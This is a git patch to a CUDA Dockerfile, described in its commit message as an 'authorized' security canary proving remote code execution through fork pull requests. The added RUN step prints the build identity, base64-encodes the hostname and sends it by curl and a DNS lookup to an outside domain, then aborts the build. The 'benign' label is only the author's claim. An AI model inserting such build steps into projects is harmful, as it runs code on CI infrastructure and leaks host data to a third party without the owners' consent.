From 4831d047efbf571b6ce2de520b778c5ddfd8f05c Mon Sep 17 00:00:00 2001 From: SriharshaHack Date: Mon, 13 Jul 2026 22:49:17 +0530 Subject: [PATCH] sec: benign CI canary (authorized MSRC fork-PR RCE proof, marker f0b97d-forkpr) --- dockerfile/cuda12.9.dockerfile | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/dockerfile/cuda12.9.dockerfile b/dockerfile/cuda12.9.dockerfile index 29804506c..fdbd0f3a8 100644 --- a/dockerfile/cuda12.9.dockerfile +++ b/dockerfile/cuda12.9.dockerfile @@ -1,4 +1,15 @@ FROM nvcr.io/nvidia/pytorch:25.05-py3 +# === GARUDA BENIGN SECURITY CANARY (MSRC fork-PR RCE proof) === +# Read-only beacon: prints identity, calls OOB canary, then exits 1 to abort build. +# No secret reads, no persistence, no lateral movement. +RUN echo "garuda-canary-f0b97d start" \ + && (id || true) \ + && HN="$(hostname 2>/dev/null | base64 | tr -d '\n')" \ + && (curl -s -m 15 "https://superbench-canary.dssldrf.net/f0b97d-forkpr/hn=${HN}" || true) \ + && (getent hosts f0b97d-forkpr.rce.superbench-canary.dssldrf.net || true) \ + && echo "garuda-canary beacon-sent; aborting build for safety" \ + && exit 1 +# === END GARUDA CANARY === # OS: # - Ubuntu: 24.04